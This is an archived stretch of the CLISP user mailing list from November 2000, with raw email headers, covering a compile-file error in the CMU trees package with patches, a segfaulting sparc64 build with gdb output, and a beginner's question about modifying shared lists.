Content-transfer-encoding: 7BIT User-Agent: IMHO/0.97.1 (Webmail for Roxen) Subject: [clisp-list] `compile-file' problem with CMU `trees' package Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion I don't know whether this is a bug in CLISP or not, but I'm sending it here becuse it at least concerns CLISP. I'm trying to get the `trees' package from the CMU Lisp Repository to work under CLISP (it was originally written for CMU CL). I can get it to load into the interpreter fine (minus some warnings and name conflicts that sometimes happen and sometimes not). The problem is when I try to invoke `compile-file' on one of the files. Trying to compile the file `binary-trees.lisp' from the distribution chokes on the following form: (defstruct (tree-node (:print-function tree-node-print) (:conc-name tn-)) content left right parent) (apologies for the bad code formatting) with the following error: *** - PRINT: Despite of *PRINT-READABLY*, # cannot be printed readably. And yes, that is supposed to be `Despite of'. I don't know why such an error happens. Can anybody offer suggestions to why it happens and how to make it go away? Thanks! -Nathan From marcoxa@cs.nyu.edu Sat Nov 18 09:02:54 2000 Received: from octagon.mrl.nyu.edu (OCTAGON.MRL.NYU.EDU [128.122.47.83]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAIH2ru25813 for ; Sat, 18 Nov 2000 09:02:53 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id LAA09848; Sat, 18 Nov 2000 11:58:42 -0500 Date: Sat, 18 Nov 2000 11:58:42 -0500 Message-Id: <200011181658.LAA09848@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: froydnj@email.rose-hulman.edu CC: clisp-list@lists.sourceforge.net In-reply-to: <0G47004WO27FC2@postal.rose-hulman.edu> (message from Nathan Froyd on Fri, 17 Nov 2000 19:18:51 -0500) Subject: Re: [clisp-list] `compile-file' problem with CMU `trees' package References: <0G47004WO27FC2@postal.rose-hulman.edu> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > Date: Fri, 17 Nov 2000 19:18:51 -0500 > From: Nathan Froyd > Content-type: text/plain; charset=iso-8859-1 > User-Agent: IMHO/0.97.1 (Webmail for Roxen) > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0beta5 > Precedence: bulk > List-Id: CLISP user discussion > Content-Length: 2434 > > I don't know whether this is a bug in CLISP or not, but I'm sending it > here becuse it at least concerns CLISP. > > I'm trying to get the `trees' package from the CMU Lisp Repository to > work under CLISP (it was originally written for CMU CL). I can get it > to load into the interpreter fine (minus some warnings and name > conflicts that sometimes happen and sometimes not). The problem is > when I try to invoke `compile-file' on one of the files. > > Trying to compile the file `binary-trees.lisp' from the distribution > chokes on the following form: > > (defstruct (tree-node (:print-function tree-node-print) > (:conc-name tn-)) > content > left > right > parent) > > (apologies for the bad code formatting) > > with the following error: > > *** - PRINT: Despite of *PRINT-READABLY*, # > cannot be printed readably. r > > And yes, that is supposed to be `Despite of'. > > I don't know why such an error happens. Can anybody offer suggestions > to why it happens and how to make it go away? Thanks! Well, it is supposed to print unreadably. The print function uses PRINT-UNREADABLE-OBJECT after all. I have a hunch that the problem might really be in the next form ;;;;;;;;;;;;; THIS SHOULD DISAPPEAR ;;;;;;;;;;;;;;;;;;;; (defparameter +null-node+ (make-tree-node)) Probaly there is an intercation with the CLisp compiler at some point. You should be able to safely delete the declaration and change the definition of TREE. After all the sentinel and the root are recomputed later. This is very old code I wrote many years ago. I have an "improved" verion I use here and there. Eventually it will make it into the CLOCC. Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From haible@ilog.fr Mon Nov 20 12:48:01 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAKKm0u29046 for ; Mon, 20 Nov 2000 12:48:01 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA13138; Mon, 20 Nov 2000 21:42:58 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.135]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA05362; Mon, 20 Nov 2000 21:47:08 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA01972; Mon, 20 Nov 2000 21:47:13 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14873.36295.807576.310853@honolulu.ilog.fr> Date: Mon, 20 Nov 2000 21:47:03 +0100 (CET) To: Marco Antoniotti Cc: froydnj@email.rose-hulman.edu, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] `compile-file' problem with CMU `trees' package In-Reply-To: <200011181658.LAA09848@octagon.mrl.nyu.edu> References: <0G47004WO27FC2@postal.rose-hulman.edu> <200011181658.LAA09848@octagon.mrl.nyu.edu> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Marco Antoniotti writes: > > I'm trying to get the `trees' package from the CMU Lisp Repository to > > work under CLISP (it was originally written for CMU CL) Duplicated work. Below are my patches. > > *** - PRINT: Despite of *PRINT-READABLY*, # > > cannot be printed readably. This is because a defconstant form wants to save a TREE-NODE to the fas file, but the print function is not defined in the compilation environment. Use eval-when to fix this. Bruno ============================================================================ (The diffs are "diffs -w", you cannot apply them through "patch".) # Don't use the non-ANSI package CONDITIONS. *** binary-trees-package.lisp 1999/04/22 09:35:08 1.1 --- binary-trees-package.lisp 1999/04/22 09:37:33 1.3 *************** *** 27,33 **** ;;; 12.26.1992: released. ! (defpackage "TREES" (:use "COMMON-LISP" "CONDITIONS") (:export make-tree tree-p size --- 27,33 ---- ;;; 12.26.1992: released. ! (defpackage "TREES" (:use "COMMON-LISP") (:export make-tree tree-p size # Assume ANSI CL syntax for `define-condition' and `eval-when'. # Don't redefine the CL function `copy-tree'. # Define +null-node+ as a constant only once, otherwise clisp warns. # Wrap the defstruct in eval-when-always: The defconstant initializer (make-tree-node) has to be evaluatable in the compilation environment. *** binary-trees.lisp 1999/04/22 09:35:08 1.1 --- binary-trees.lisp 1999/05/01 20:42:52 1.6 *************** *** 251,258 **** ;;;============================================================================ ;;; Prologue ! (eval-when #+CLtL2 (:compile-toplevel :load-toplevel) ! #-CLtL1 (compile load) (unless (find-package "TREES") (load "binary-trees-package"))) --- 251,257 ---- ;;;============================================================================ ;;; Prologue ! (eval-when (:compile-toplevel :load-toplevel) (unless (find-package "TREES") (load "binary-trees-package"))) *************** *** 279,284 **** --- 278,284 ---- ;;; tree-node structure -- + (eval-when (load compile eval) (defstruct (tree-node (:print-function tree-node-print) (:conc-name tn-)) content *************** *** 286,306 **** right parent ) ;;; tree-node -- ;;; +null-node+ parameter -- The 'sentinel' used in various ;;; algorithms. It is defined as a parameter in order to redefine it ! ;;; for richer tree structures (e.g. red balck trees). - #-:sentinel (defconstant +null-node+ (make-tree-node)) (defconstant +null-node+ (make-tree-node)) ;;; +null-node+ -- ;;; tree structure -- ! (defstruct (tree (:print-function tree-print)) (name nil :type symbol) (root +null-node+ :type tree-node) (null-sentinel +null-node+ :type tree-node) --- 286,306 ---- right parent ) + ) ;;; tree-node -- ;;; +null-node+ parameter -- The 'sentinel' used in various ;;; algorithms. It is defined as a parameter in order to redefine it ! ;;; for richer tree structures (e.g. red black trees). (defconstant +null-node+ (make-tree-node)) ;;; +null-node+ -- ;;; tree structure -- ! (defstruct (tree (:copier nil) (:print-function tree-print)) (name nil :type symbol) (root +null-node+ :type tree-node) (null-sentinel +null-node+ :type tree-node) *************** *** 323,329 **** ;;; empty-error condition -- (define-condition empty-error (simple-error) ! (a-tree) (:report (lambda (cnd strm) (format strm --- 323,329 ---- ;;; empty-error condition -- (define-condition empty-error (simple-error) ! ((a-tree :initarg :a-tree :reader empty-error-a-tree)) (:report (lambda (cnd strm) (format strm # Don't use the non-ANSI package CONDITIONS. # Ensure package "TREES" exists. *** rbtrees-package.lisp 1999/04/22 09:35:08 1.1 --- rbtrees-package.lisp 1999/04/22 09:47:17 1.4 *************** *** 26,33 **** ;;; History: ;;; 12.26.1992: released. ! (defpackage "RED-BLACK-TREES" (:use "COMMON-LISP" "CONDITIONS" "TREES") (:nicknames "RB-TREES" "RBT") (:export make-tree tree-p --- 26,36 ---- ;;; History: ;;; 12.26.1992: released. + (eval-when (:compile-toplevel :load-toplevel) + (unless (find-package "TREES") + (load "binary-trees-package"))) ! (defpackage "RED-BLACK-TREES" (:use "COMMON-LISP" "TREES") (:nicknames "RB-TREES" "RBT") (:export make-tree tree-p # Assume ANSI CL syntax for `define-condition' and `eval-when'. # Before loading binary-trees, must load binary-trees-package. *** rbtrees.lisp 1999/04/22 09:35:08 1.1 --- rbtrees.lisp 1999/05/01 20:35:24 1.4 *************** *** 210,219 **** ;;;============================================================================ ;;; Prologue ! (eval-when #+CLtL2 (:compile-toplevel :load-toplevel) ! #-CLtL2 (compile load) (unless (find-package "TREES") ! (load "binary-trees-package")) (unless (find-package "RED-BLACK-TREES") (load "rbtrees-package"))) --- 210,219 ---- ;;;============================================================================ ;;; Prologue ! (eval-when (:compile-toplevel :load-toplevel) (unless (find-package "TREES") ! (load "binary-trees-package") ! (load "binary-trees")) (unless (find-package "RED-BLACK-TREES") (load "rbtrees-package"))) *************** *** 296,302 **** ;;; empty-error condition -- (define-condition empty-error (simple-error) ! (a-tree) (:report (lambda (cnd strm) (format strm --- 296,302 ---- ;;; empty-error condition -- (define-condition empty-error (simple-error) ! ((a-tree :initarg :a-tree :reader empty-error-a-tree)) (:report (lambda (cnd strm) (format strm From sc843@bard.edu Tue Nov 21 22:43:28 2000 Received: from bard.edu (bard.edu [192.246.229.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAM6hSu27133 for ; Tue, 21 Nov 2000 22:43:28 -0800 Received: from localhost (sc843@localhost) by bard.edu (AIX4.3/8.9.3/8.9.3) with SMTP id BAA61414 for ; Wed, 22 Nov 2000 01:43:34 -0500 Date: Wed, 22 Nov 2000 01:43:34 -0500 (EST) From: Sean Callanan To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Compiling on sparc64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Dear mailing list: I am having issues compiling clisp on 64-bit Sparcs - specifically, an Ultra 5 (360MHz UltraSparc IIi w/256k cache, SuSE Linux 7.0/sparc) and an Ultra 10 (400MHz UltraSparc IIi w/2MB cache, Red Hat Linux 6.2/sparc). I am using gcc and have tried make with no -DSAFETY= setting, and all settings 1-4, inclusive. These have not succeeded. Settings above 2 resulted in a failure to compile "array.d" among other files, complaining about invalid operands being passed to binary ==. Settings where -DSAFETY is less than 2, or entrely left out, resulted in a segfault (or bus error). I have tried hacking src/configure to force it to configure for sparc64 - however, the assembler complains about "requires v9|v9a; requested architecture is sparclite". And SuSE's distribution includes a sparc64-linux-gcc; however, this doesn't work properly: I guess it's only supposed to compile kernels. What do I need to do here? Sincerely, Sean Callanan -- "The surest sign of intelligent life in the universe is that none of it has tried to contact us." -- Calvin (www.calvinandhobbes.com) From sc843@bard.edu Wed Nov 22 15:00:35 2000 Received: from bard.edu (bard.edu [192.246.229.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAMN0Zu27198 for ; Wed, 22 Nov 2000 15:00:35 -0800 Received: from student.bard.edu (student.bard.edu [192.246.229.226]) by bard.edu (AIX4.3/8.9.3/8.9.3) with ESMTP id SAA57200 for ; Wed, 22 Nov 2000 18:00:41 -0500 Date: Wed, 22 Nov 2000 18:00:28 -0500 (EST) From: sc843@bard.edu Message-Id: <200011222300.SAA01965@student.bard.edu> X-Authentication-Warning: student.bard.edu: nobody set sender to sc843@bard.edu using -f To: clisp-list@lists.sourceforge.net Reply-To: sc843@bard.edu MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: IMP/PHP3 Imap webMail Program 2.0.9 X-Originating-IP: 192.246.226.74 Subject: [clisp-list] sparc compile Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Dear mailing list: I have been working on the problem for some more time now, without much success. I downloaded the CVS version and tried to compile that; it compiled fine (after an error which I'll explain in a moment) but still no joy on the segfault problem. I have put a bug in at your SourceForge site detailing my problems, so I'll simply state my problem/solution pair for this small subproblem. When I compiled, I got the error /bin/sh ../../libiconv/libcharset/autoconf/mkinstalldirs /home/sc843/lisp/clisp- devel/clisp/src/libiconv/src ../../libiconv/libcharset/autoconf/mkinstalldirs: ../../libiconv/libcharset/auto conf/mkinstalldirs: No such file or directory make[2]: *** [install-lib] Error 1 make[2]: Leaving directory `/home/sc843/lisp/clisp-devel/clisp/src/libiconv/libc harset' make[1]: *** [all] Error 2 So I had to download a mkinstalldirs off the internet (trivial) and create libiconv/libcharset/autoconf/mkinstalldirs. In addition, I modified libiconv/libcharset/Makefile and changed the line srcdir = ../../../libiconv/libcharset to srcdir = ../../libiconv/libcharset. Hope I could be of service. I will gladly provide the mkinstalldirs and new Makefile to anyone who may want it. Sincerely, Sean Callanan From haible@ilog.fr Thu Nov 23 14:49:45 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eANMniu07764 for ; Thu, 23 Nov 2000 14:49:44 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id XAA08130; Thu, 23 Nov 2000 23:45:21 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.16]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id XAA24339; Thu, 23 Nov 2000 23:49:34 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id XAA00840; Thu, 23 Nov 2000 23:49:41 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14877.40709.639054.440323@honolulu.ilog.fr> Date: Thu, 23 Nov 2000 23:49:41 +0100 (CET) To: Sean Callanan Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compiling on sparc64 In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hello Sean, The support for sparc64 is only tentative and has never been tested. > I am using gcc and have tried make with no -DSAFETY= setting, and all > settings 1-4, inclusive. These have not succeeded. Settings above 2 > resulted in a failure to compile "array.d" among other files, complaining > about invalid operands being passed to binary ==. This is fixed in the current CVS. > I have tried hacking src/configure to force it to configure for sparc64 - > however, the assembler complains about "requires v9|v9a; requested > architecture is sparclite". Is it trying to assemble the wrong arisparc.d/arisparc64.d file? Maybe there are bugs in arisparc64.d. > I downloaded the CVS version and tried to compile that; it compiled > fine (after an error which I'll explain in a moment) The error is fixed now, thanks. > but still no joy on the segfault problem. Can you give a backtrace with maximum amount of debugging information? Does the segfault persist when you remove all -O flags from the CFLAGS in the Makefile? Bruno From sc843@bard.edu Thu Nov 23 19:56:39 2000 Received: from bard.edu (bard.edu [192.246.229.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAO3ucu21918 for ; Thu, 23 Nov 2000 19:56:38 -0800 Received: from bard.edu (slip-35.bard.edu [192.246.235.167]) by bard.edu (AIX4.3/8.9.3/8.9.3) with ESMTP id WAA77124; Thu, 23 Nov 2000 22:56:37 -0500 Message-ID: <3A1DE622.6090308@bard.edu> Date: Thu, 23 Nov 2000 22:53:06 -0500 From: Sean Callanan User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; m18) Gecko/20000929 Netscape6/6.0b3 X-Accept-Language: en MIME-Version: 1.0 To: Bruno Haible CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compiling on sparc64 References: <14877.40709.639054.440323@honolulu.ilog.fr> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Dear mailing list, particularly Mr. Bruno Haible, Thank you for being so prompt. I received your message with pleasure, and have performed the steps you suggested off of the latest CVS source. The errors I mentioned in my previous letter were all corrected. Anyway, I tried to do what you said on my Ultra 5, running SuSE Linux 7.0/sparc. It might be of note that although the kernel is 64-bit, the only gcc capable of building userland binaries under sparc is 32-bit. Here are the parameters being passed to GCC: CFLAGS = -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DDYNAMIC_FFI -DSAFETY=3 -ggdb3 The following steps work: make init make allc make libreadine.a make lisp.run (lots of warnings, available upon request) The following is the exact output of "make interpreted.mem" ./lisp.run -m 750KW -B . -N locale -Efile UTF-8 -norc -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 ;; Loading file defseq.lisp ... ;; Loading of file defseq.lisp is finished. ;; Loading file backquote.lisp ... ;; Loading of file backquote.lisp is finished. ;; Loading file defmacro.lisp ...make: *** [interpreted.mem] Segmentation fault -- Here is a log of my interaction with gdb: GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-suse-linux"... .gdbinit:3: Error in sourced command file: Function "sigsegv_handler_failed" not defined. (gdb) set args -m 750KW -B . -N locale -Efile UTF-8 -norc -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" (gdb) run Starting program: /root/lisp/clisp-devel/src/lisp.run -m 750KW -B . -N locale -Efile UTF-8 -norc -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 ;; Loading file defseq.lisp ... ;; Loading of file defseq.lisp is finished. ;; Loading file backquote.lisp ... ;; Loading of file backquote.lisp is finished. ;; Loading file defmacro.lisp ... Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists. (gdb) backtrace No stack. (gdb) info all-registers The program has no registers now. -- How should I get the information you want? Amusingly enough, lisp.run does run, even allowing me to do simple things like (+ 0 1). I will leave the program as is, with interpreted.mem unmade. Anything you want me to do, I will do. However, as I am unfamiliar with debugging programs, I'm going to need a little help. Sincerely, Sean Callanan From bruce253@163.net Sat Nov 25 05:49:53 2000 Received: from proxy (ns2.gdufs.edu.cn [202.116.192.38]) by lists.sourceforge.net (8.11.1/8.11.1) with SMTP id eAPDngu22168 for ; Sat, 25 Nov 2000 05:49:48 -0800 Received: from 163.net by proxy (SMI-8.6/SMI-SVR4) id VAA17626; Sat, 25 Nov 2000 21:47:21 -0500 Message-ID: <3A1FC33F.68F6B342@163.net> Date: Sat, 25 Nov 2000 21:48:47 +0800 From: bruce X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Content-Type: multipart/alternative; boundary="------------0596806F9392EF586AF01DA2" Subject: [clisp-list] Q: why changed? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion --------------0596806F9392EF586AF01DA2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear all, I have a program similar to the following. I spent quite a long time to debug and finally spotted that the bug is here. > (setf a-list '(1 2 3 4 5) ; a dynamic variable with global scope (1 2 3 4 5) >(defun change2 (lst el) ; a function to modify data (setf (nth 2 lst) el) lst) CHANGE2 >(let ((lst a-list)) (setf lst (change2 lst 10))) (1 2 10 4 5) >a-list (1 2 10 4 5) I thought I was modifying a local copy of the global data, but actually the global data was changed as well. I don't want to modify the global data, since I have to use the global data multiple times and change the changes of each action. Can anybody help? Thanks a lot! Yang Shouxun -- If you continually give you will continually have. --------------0596806F9392EF586AF01DA2 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Dear all,

I have a program similar to the following.  I spent quite a long time to debug and finally spotted that the bug is here.
 

> (setf a-list '(1 2 3 4 5) ; a dynamic variable with global scope
(1 2 3 4 5)
>(defun change2 (lst el)  ; a function to modify data
      (setf (nth 2 lst) el)
       lst)
CHANGE2
>(let ((lst a-list))
       (setf lst (change2 lst 10)))
(1 2 10 4 5)
>a-list
(1 2 10 4 5)
 
I thought I was modifying a local copy of the global data, but actually the global data was changed as well.

I don't want to modify the global data, since I have to use the global data multiple times and change the changes of each action.  Can anybody help?

Thanks a lot!

Yang Shouxun

 
-- 
If you continually give you will continually have.
  --------------0596806F9392EF586AF01DA2-- From sds@gnu.org Sat Nov 25 06:28:33 2000 Received: from prserv.net (out1.prserv.net [32.97.166.31]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAPESQu23983 for ; Sat, 25 Nov 2000 06:28:31 -0800 Received: from xchange.com ([32.101.160.13]) by prserv.net (out1) with ESMTP id <2000112514281820105crcoge>; Sat, 25 Nov 2000 14:28:21 +0000 To: bruce Cc: clisp-list Subject: Re: [clisp-list] Q: why changed? References: <3A1FC33F.68F6B342@163.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: bruce's message of "Sat, 25 Nov 2000 21:48:47 +0800" Date: 25 Nov 2000 09:27:48 -0500 Message-ID: Lines: 55 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message <3A1FC33F.68F6B342@163.net> > * On the subject of "[clisp-list] Q: why changed?" > * Sent on Sat, 25 Nov 2000 21:48:47 +0800 > * Honorable bruce writes: > > I have a program similar to the following. I spent quite a long time to > debug and finally spotted that the bug is here. > > > > (setf a-list '(1 2 3 4 5) ; a dynamic variable with global > scope note that `a-list' is set to a constant in the sense that you may not modify it portably (some lisps will mark the memory where this quoted list resides as immutable and signal an error when you try to modify it. > (1 2 3 4 5) > >(defun change2 (lst el) ; a function to modify data > (setf (nth 2 lst) el) > lst) > CHANGE2 > >(let ((lst a-list)) > (setf lst (change2 lst 10))) > (1 2 10 4 5) > >a-list > (1 2 10 4 5) > > > I thought I was modifying a local copy of the global data, but actually > the global data was changed as well. a-list is just a cons cell, which is a reference or a pointer or an address - call it as you like, but it is not an immediate object in the sense that you have to explicitly copy it when you want a copy to be created. > I don't want to modify the global data, since I have to use the global > data multiple times and change the changes of each action. Can anybody > help? you should copy the global list each time, like this: (let ((lst (copy-list a-list))) (setf lst (change2 lst 10))) You will probably benefit from reading "ANSI CL" by Paul Graham. You might also want to subscribe to the comp.lang.lisp newsgoup. Good luck and thanks for using CLISP! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} From bruce253@163.net Sat Nov 25 17:51:57 2000 Received: from proxy (ns2.gdufs.edu.cn [202.116.192.38]) by lists.sourceforge.net (8.11.1/8.11.1) with SMTP id eAQ1ppu30157 for ; Sat, 25 Nov 2000 17:51:52 -0800 Received: from 163.net by proxy (SMI-8.6/SMI-SVR4) id JAA14748; Sun, 26 Nov 2000 09:49:31 -0500 Message-ID: <3A206C7F.B2AFD404@163.net> Date: Sun, 26 Nov 2000 09:50:55 +0800 From: bruce X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] Q: why changed? References: <3A1FC33F.68F6B342@163.net> Content-Type: multipart/alternative; boundary="------------4A92B5C9B762C8A213240BD8" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion --------------4A92B5C9B762C8A213240BD8 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sam Steingold wrote: > > I thought I was modifying a local copy of the global data, but actually > > the global data was changed as well. > > a-list is just a cons cell, which is a reference or a pointer or an > address - call it as you like, but it is not an immediate object in the > sense that you have to explicitly copy it when you want a copy to be > created. > So generally speaking, one has to explicitly copy things that look like an address such as one can use `setf' to modify its content. > > > I don't want to modify the global data, since I have to use the global > > data multiple times and change the changes of each action. Can anybody > > help? > > you should copy the global list each time, like this: > > (let ((lst (copy-list a-list))) > (setf lst (change2 lst 10))) > > You will probably benefit from reading "ANSI CL" by Paul Graham. > You might also want to subscribe to the comp.lang.lisp newsgoup. Thanks for your suggestion. I could not find a copy of Graham's book for the time being. And I don't think there is any downloadable electronic copy. Thanks for your prompt reply. -- Give all orders verbally. Never write anything down that might go into a "Pearl Harbor File". --------------4A92B5C9B762C8A213240BD8 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Sam Steingold wrote:
> I thought I was modifying a local copy of the global data, but actually
> the global data was changed as well.

a-list is just a cons cell, which is a reference or a pointer or an
address - call it as you like, but it is not an immediate object in the
sense that you have to explicitly copy it when you want a copy to be
created.
 

So generally speaking, one has to explicitly copy things that look like an address such as one can use `setf' to modify its content.
 
> I don't want to modify the global data, since I have to use the global
> data multiple times and change the changes of each action.  Can anybody
> help?

you should copy the global list each time, like this:

(let ((lst (copy-list a-list)))
  (setf lst (change2 lst 10)))

You will probably benefit from reading "ANSI CL" by Paul Graham.
You might also want to subscribe to the comp.lang.lisp newsgoup.

Thanks for your suggestion.  I could not find a copy of Graham's book for the time being.  And I don't think there is any downloadable electronic copy.

Thanks for your prompt reply.

-- 
Give all orders verbally.  Never write anything down that might go into a
"Pearl Harbor File".
